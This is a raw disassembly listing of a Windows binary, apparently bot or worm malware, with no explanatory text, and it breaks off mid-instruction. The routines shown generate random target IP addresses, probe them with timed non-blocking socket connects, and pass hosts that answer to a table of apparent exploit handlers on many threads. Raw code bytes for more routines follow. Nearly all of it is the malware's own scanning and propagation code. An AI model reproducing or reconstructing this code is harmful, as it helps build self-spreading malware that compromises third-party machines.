dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C263 shl eax, 6 xor ebx, ebx cmp dword_431804[eax], ebx jz loc_40C263 push 5 call sub_40B602 test eax, eax pop ecx jnz loc_40C018 mov eax, dword_429078 push edi mov esi, offset dword_4CDBDC push 104h push esi push ebx mov dword_4CDDEC, eax mov dword_4CDDE8, ebx nop call near ptr 2670000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CDCE0 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDBD8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDE70, eax jnz short loc_40BE44 lea eax, [ebp+arg_10] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, 1 jmp short loc_40BE5E ; --------------------------------------------------------------------------- loc_40BE44: ; CODE XREF: sub_40BD91+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, ebx loc_40BE5E: ; CODE XREF: sub_40BD91+B1j push esi lea eax, [ebp+var_204] push dword_4CDDEC push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3BA add esp, 1Ch mov dword_4CDDE4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDBD8 push offset byte_412197 push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CDDE4 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BECC loc_40BEBA: ; CODE XREF: sub_40BD91+139j cmp dword_4CDE78, ebx jnz short loc_40BEE7 push 32h nop call near ptr 2670E97h jmp short loc_40BEBA ; --------------------------------------------------------------------------- loc_40BECC: ; CODE XREF: sub_40BD91+127j call near ptr 2680972h nop push eax lea eax, [ebp+var_204] push offset unk_431E08 push eax call sub_41C266 add esp, 0Ch loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj lea eax, [ebp+var_204] push eax call sub_415D38 mov eax, dword_4CB710 mov esi, offset dword_4CDE84 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CE094, eax mov dword_4CE090, ebx nop call near ptr 2670000h push 103h push edi push offset dword_4CDF88 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDE80, eax mov eax, [ebp+arg_138] pop edi mov dword_4CE118, eax push 7Fh jnz short loc_40BF68 lea eax, [ebp+arg_10] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, 1 jmp short loc_40BF82 ; --------------------------------------------------------------------------- loc_40BF68: ; CODE XREF: sub_40BD91+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, ebx loc_40BF82: ; CODE XREF: sub_40BD91+1D5j push esi lea eax, [ebp+var_204] push dword_4CE094 push offset unk_431DD4 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3BA add esp, 1Ch mov dword_4CE08C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDE80 push offset word_40F3AA push ebx push ebx call near ptr 2680000h nop mov ecx, dword_4CE08C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BFF0 loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj cmp dword_4CE120, ebx jnz short loc_40C00B push 32h nop call near ptr 2670E97h jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj nop call near ptr 2680972h push eax lea eax, [ebp+var_204] push offset unk_431DA0 push eax call sub_41C266 add esp, 0Ch loc_40C00B: ; CODE XREF: sub_40BD91+253j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C018: ; CODE XREF: sub_40BD91+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43180C[ecx], ebx jz loc_40C141 push 7 call sub_40B602 test eax, eax pop ecx jnz loc_40C13B mov eax, dword_4CE710 cmp [ebp+arg_90], bl mov dword_4CDB44, eax mov eax, [ebp+arg_110] mov dword_4CDB38, eax mov eax, [ebp+arg_138] mov dword_4CDB40, ebx mov dword_4CDBC8, eax push 7Fh jnz short loc_40C08C lea eax, [ebp+arg_10] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, 1 jmp short loc_40C0A6 ; --------------------------------------------------------------------------- loc_40C08C: ; CODE XREF: sub_40BD91+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, ebx loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j push dword_4CDB44 lea eax, [ebp+var_204] push offset unk_431D70 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3BA add esp, 18h mov dword_4CDB3C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB38 push offset dword_40F108 push ebx push ebx nop call near ptr 2680000h mov ecx, dword_4CDB3C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C113 loc_40C101: ; CODE XREF: sub_40BD91+380j cmp dword_4CDBD0, ebx jnz short loc_40C12E push 32h nop call near ptr 2670E97h jmp short loc_40C101 ; --------------------------------------------------------------------------- loc_40C113: ; CODE XREF: sub_40BD91+36Ej nop call near ptr 2680972h push eax lea eax, [ebp+var_204] push offset unk_431D38 push eax call sub_41C266 add esp, 0Ch loc_40C12E: ; CODE XREF: sub_40BD91+376j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C13B: ; CODE XREF: sub_40BD91+2A8j mov eax, [ebp+arg_130] loc_40C141: ; CODE XREF: sub_40BD91+298j shl eax, 6 cmp dword_431808[eax], ebx jz loc_40C263 push 3 call sub_40B602 test eax, eax pop ecx jnz loc_40C263 mov esi, offset dword_4CE3B4 push 104h push esi push ebx nop call near ptr 2670000h push 5Ch push esi call sub_41C820 pop ecx cmp eax, ebx pop ecx jz short loc_40C182 mov [eax], bl loc_40C182: ; CODE XREF: sub_40BD91+3EDj mov eax, dword_42907C mov dword_4CE4CC, ebx mov dword_4CE4B8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CE12C call sub_41C266 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CE128, eax mov ecx, [ebp+arg_138] push esi push dword_4CE4B8 mov dword_4CE4C4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE4C8, ecx call sub_40AA06 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3BA add esp, 20h mov dword_4CE4C0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CE128 push offset sub_40FAD6 push ebx push ebx call near ptr 2680000h nop mov ecx, dword_4CE4C0 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C23B loc_40C229: ; CODE XREF: sub_40BD91+4A8j cmp dword_4CE4D4, ebx jnz short loc_40C256 push 32h nop call near ptr 2670E97h jmp short loc_40C229 ; --------------------------------------------------------------------------- loc_40C23B: ; CODE XREF: sub_40BD91+496j call near ptr 2680972h nop push eax lea eax, [ebp+var_204] push offset unk_431D04 push eax call sub_41C266 add esp, 0Ch loc_40C256: ; CODE XREF: sub_40BD91+49Ej lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C263: ; CODE XREF: sub_40BD91+14j ; sub_40BD91+25j ... pop esi pop ebx leave retn sub_40BD91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CBB20h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CD20 add esp, 0Ch push [ebp+arg_0] call dword_4CB8FC inc eax push eax mov [ebp+arg_0], eax call dword_4CB9D0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CD20 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B9C0 cmp eax, 0Fh pop ecx jbe short loc_40C2D7 xor eax, eax jmp short loc_40C348 ; --------------------------------------------------------------------------- loc_40C2D7: ; CODE XREF: sub_40C2AF+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CCE3 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C304 call sub_41C2C2 mov [ebp+var_C], eax loc_40C304: ; CODE XREF: sub_40C2AF+4Bj cmp [ebp+var_8], esi jnz short loc_40C311 call sub_41C2C2 mov [ebp+var_8], eax loc_40C311: ; CODE XREF: sub_40C2AF+58j cmp [ebp+var_4], esi jnz short loc_40C31E call sub_41C2C2 mov [ebp+var_4], eax loc_40C31E: ; CODE XREF: sub_40C2AF+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C32A call sub_41C2C2 loc_40C32A: ; CODE XREF: sub_40C2AF+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CBB20[ecx*8], eax loc_40C348: ; CODE XREF: sub_40C2AF+26j pop esi leave retn sub_40C2AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C34B proc near ; CODE XREF: ___:0040BBBEp ; sub_40C3E8+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C374 xor eax, eax jmp short loc_40C3E3 ; --------------------------------------------------------------------------- loc_40C374: ; CODE XREF: sub_40C34B+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB9D4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CBA70 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB97C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB9BC push esi mov edi, eax call dword_4CBA6C xor eax, eax cmp edi, ebx setnle al loc_40C3E3: ; CODE XREF: sub_40C34B+27j pop edi pop esi pop ebx leave retn sub_40C34B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3E8 proc near ; DATA XREF: sub_40C3E8+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 269083Ah push eax call sub_41C2B8 mov ebx, esi pop ecx imul ebx, 234h loc_40C42F: ; CODE XREF: sub_40C3E8+204j mov eax, dword_43E914[ebx] cmp dword_4CBB24[eax*8], 0 jz loc_40C5F1 cmp [ebp+var_10], 0 push eax jz short loc_40C459 lea eax, [ebp+var_150] push eax call sub_40C2AF pop ecx jmp short loc_40C45E ; --------------------------------------------------------------------------- loc_40C459: ; CODE XREF: sub_40C3E8+60j call sub_40C267 loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E914[ebx] push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E64 push eax call sub_41C266 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E710[ebx] push eax call sub_41C266 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C34B add esp, 14h cmp eax, 1 jnz loc_40C5E1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C535 push offset dword_4CDB20 call near ptr 77F7E21Fh nop push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E3C push eax call sub_41C266 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C517 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C50B lea eax, [ebp+var_140] loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj push eax push [ebp+var_40] call sub_409869 add esp, 14h loc_40C517: ; CODE XREF: sub_40C3E8+100j lea eax, [ebp+var_28C] push eax call sub_415D38 mov [esp+29Ch+var_29C], offset dword_4CDB20 nop call near ptr 77F7E300h jmp loc_40C5E1 ; --------------------------------------------------------------------------- loc_40C535: ; CODE XREF: sub_40C3E8+D0j push edi call dword_4CBA60 push eax lea eax, [ebp+var_208] push eax call sub_41C266 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C266 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C57A lea eax, [ebp+var_140] loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41C266 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_4317FC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j ; sub_40C3E8+148j push 7D0h nop call near ptr 2670E97h jmp loc_40C42F ; --------------------------------------------------------------------------- loc_40C5F1: ; CODE XREF: sub_40C3E8+55j push esi call sub_40B6D6 pop ecx push 0 nop call near ptr 26E0000h loc_40C600: ; DATA XREF: sub_401ACD+1F2Ao ; sub_401ACD+5B7Ao push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CBA14 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CBB20[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD91 push 0Bh call sub_40B602 add esp, 150h cmp eax, ebx jnz short loc_40C6CE mov esi, offset dword_4CDB20 push esi call near ptr 26E05A6h nop push 80000400h push esi call near ptr 26E04C2h nop test eax, eax jnz short loc_40C6CE lea eax, [ebp+var_1CC] push offset unk_431F48 push eax call sub_41C266 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C6B8 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C6B8: ; CODE XREF: sub_40C3E8+2B1j lea eax, [ebp+var_1CC] push eax call sub_415D38 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6CE: ; CODE XREF: sub_40C3E8+27Bj ; sub_40C3E8+297j mov eax, [ebp+var_2C] mov esi, dword_427080 mov edi, ebx mov dword_4CBB24[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C79B loc_40C6EC: ; CODE XREF: sub_40C3E8+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F14 push eax call sub_41C266 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3BA mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E914[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3E8 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C766 loc_40C75B: ; CODE XREF: sub_40C3E8+37Cj cmp [ebp+var_4], ebx jnz short loc_40C78D push 1Eh call esi jmp short loc_40C75B ; --------------------------------------------------------------------------- loc_40C766: ; CODE XREF: sub_40C3E8+371j call near ptr 2680972h nop push eax lea eax, [ebp+var_1CC] push offset unk_431EDC push eax call sub_41C266 lea eax, [ebp+var_1CC] push eax call sub_415D38 add esp, 10h loc_40C78D: ; CODE XREF: sub_40C3E8+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C6EC loc_40C79B: ; CODE XREF: sub_40C3E8+2FEj cmp [ebp+var_30], ebx jz loc_40C845 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C7B0: ; CODE XREF: sub_40C3E8+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CBB20[eax*8] push eax call dword_4CBA60 push eax lea eax, [ebp+var_1CC] push offset unk_431E9C push eax call sub_41C266 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7FE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C7FE: ; CODE XREF: sub_40C3E8+3F7j lea eax, [ebp+var_1CC] push eax call sub_415D38 mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CBB24[eax*8], ebx call esi push 0Bh call sub_40B602 cmp eax, 1 pop ecx jnz short loc_40C835 push offset dword_4CDB20 call near ptr 26E05A6h nop loc_40C835: ; CODE XREF: sub_40C3E8+440j push [ebp+var_2C] call sub_40B6D6 pop ecx push ebx call near ptr 26E0000h nop loc_40C845: ; CODE XREF: sub_40C3E8+3B6j ; sub_40C3E8+475j mov eax, [ebp+var_2C] cmp dword_4CBB24[eax*8], 1 jnz loc_40C7B0 push 7D0h call esi jmp short loc_40C845 sub_40C3E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C85F proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB9D4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C91D lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E91C[ecx], esi jz short loc_40C91D push [ebp+var_38] push [ebp+var_28] call dword_4CBA60 push eax mov edi, offset dword_4CE4E4 push offset dword_431F7C push edi call sub_41C266 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409869 push edi call sub_415D38 add esp, 28h loc_40C91D: ; CODE XREF: sub_40C85F+5Dj ; sub_40C85F+7Ej push esi call dword_4CBA6C pop edi xor eax, eax pop esi leave retn 4 sub_40C85F endp ; --------------------------------------------------------------------------- dword_40C92C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+5F60o dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C85Fh, 0E8905757h, 227364Ch, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 6E890FCh, 0FF02253Fh dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h, 50046A08h dd 50E0458Dh, 1030BE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40CA1D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5C80o dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0F868FFFFh dd 5000431Fh, 0F7FDE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 10050000h, 500043E7h, 0F547E8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h, 0E8575700h dd 227355Ch, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 2253E15h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0CC68FFFFh dd 5000431Fh, 0F76DE8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep ; sub_40CD9E+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB2A endp ; =============== S U B R O U T I N E ======================================= sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BEB5 mov edi, eax pop ecx test edi, edi jz short loc_40CB66 push ebx push 0 push edi call sub_41BF70 push ebx push [esp+1Ch+arg_0] push edi call sub_41CD20 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB66: ; CODE XREF: sub_40CB34+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p ; sub_40CCE2+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BEB5 mov esi, eax pop ecx test esi, esi jz short loc_40CBBA push edi push 0 push esi call sub_41BF70 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CD20 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CD20 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB6E endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep ; sub_40CC68+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBD3 push eax call sub_41BA91 pop ecx loc_40CBD3: ; CODE XREF: sub_40CBC3+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p ; sub_40CD43+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CC09 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CC0D loc_40CC09: ; CODE XREF: sub_40CBDC+Dj xor al, al jmp short loc_40CC64 ; --------------------------------------------------------------------------- loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BF70 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC32 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC4C ; --------------------------------------------------------------------------- loc_40CC32: ; CODE XREF: sub_40CBDC+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC4C: ; CODE XREF: sub_40CBDC+54j push eax call sub_41CD20 add esp, 0Ch push dword ptr [esi] call sub_41BA91 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj pop edi pop esi pop ebx retn sub_40CBDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p ; sub_40CD9E+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4CB88C call sub_40CB6E lea ecx, [ebp+var_8] call sub_40CBDC mov eax, [ebp+var_4] inc eax push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CCA2 xor al, al jmp short loc_40CCDE ; --------------------------------------------------------------------------- loc_40CCA2: ; CODE XREF: sub_40CC68+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BF70 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CD20 add esp, 18h mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBC3 mov al, 1 loc_40CCDE: ; CODE XREF: sub_40CC68+38j pop edi pop esi leave retn sub_40CC68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p ; sub_40CD33+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov 